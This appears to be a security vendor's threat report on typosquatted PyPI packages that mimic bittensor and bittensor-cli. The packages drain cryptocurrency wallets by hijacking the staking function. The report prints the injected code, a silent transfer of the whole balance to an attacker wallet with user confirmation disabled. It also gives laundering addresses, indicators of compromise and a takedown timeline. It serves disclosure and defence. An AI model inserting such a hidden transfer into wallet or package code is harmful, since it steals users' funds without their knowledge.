Published on: August 6, 2025
5 min read
GitLab's Vulnerability Research team identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.
GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.
Our investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.
The identified malicious packages were all published within a 25-minute window on August 6, 2025:
[email protected]
(02:52 UTC)[email protected]
(02:59 UTC)[email protected]
(03:02 UTC)[email protected]
(03:15 UTC)[email protected]
(03:16 UTC)All packages were designed to mimic the legitimate bittensor
and bittensor-cli
packages, which are core components of the Bittensor decentralized AI network.
Our analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the stake_extrinsic
function in bittensor_cli/src/commands/stake/add.py
.
Where users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:
result = await transfer_extrinsic(
subtensor=subtensor,
wallet=wallet,
destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
amount=amount,
transfer_all=True,
prompt=False
)
This malicious injection completely subverts the staking process:
prompt=False
to bypass user confirmationtransfer_all=True
to steal all available funds, not just the staking amountThe attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.
The attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, staking is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.
This makes staking an ideal attack vector:
By hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.
GitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR
served as a central collection point before funds were distributed through a network of intermediary wallets.
Our analysis revealed a multi-hop laundering scheme:
5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR
5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL
5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu
5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ
The attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:
bitensor
instead of bittensor
(missing 't')bittenso
instead of bittensor
(missing final 'r')9.9.4
, 9.9.5
) that closely match legitimate package versionsThis approach maximizes the chance of installation through developer typos during pip install
commands and copy-paste errors from documentation.
GitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.
The swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.
IOC | Description |
---|---|
pkg:pypi/[email protected] |
Malicious PyPI package |
pkg:pypi/[email protected] |
Malicious PyPI package |
pkg:pypi/[email protected] |
Malicious PyPI package |
pkg:pypi/[email protected] |
Malicious PyPI package |
pkg:pypi/[email protected] |
Malicious PyPI package |
5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR |
Bittensor (TAO) wallet address for receiving stolen funds |
Date & Time | Action |
---|---|
2025-08-06T06:33 | Initial analysis of suspicious packages reported by automated monitoring system |
2025-08-06T09:42 | Reported [email protected] to PyPi.org |
2025-08-06T09:46 | Reported [email protected] to PyPi.org |
2025-08-06T09:47 | Reported [email protected] to PyPi.org |
2025-08-06T09:49 | Reported [email protected] to PyPi.org |
2025-08-06T09:51 | Reported [email protected] to PyPi.org |
2025-08-06T15:26 | PyPi.org removed [email protected] |
2025-08-06T15:27 | PyPi.org removed [email protected] |
2025-08-06T15:27 | PyPi.org removed [email protected] |
2025-08-06T15:28 | PyPi.org removed [email protected] |
2025-08-06T15:28 | PyPi.org removed [email protected] |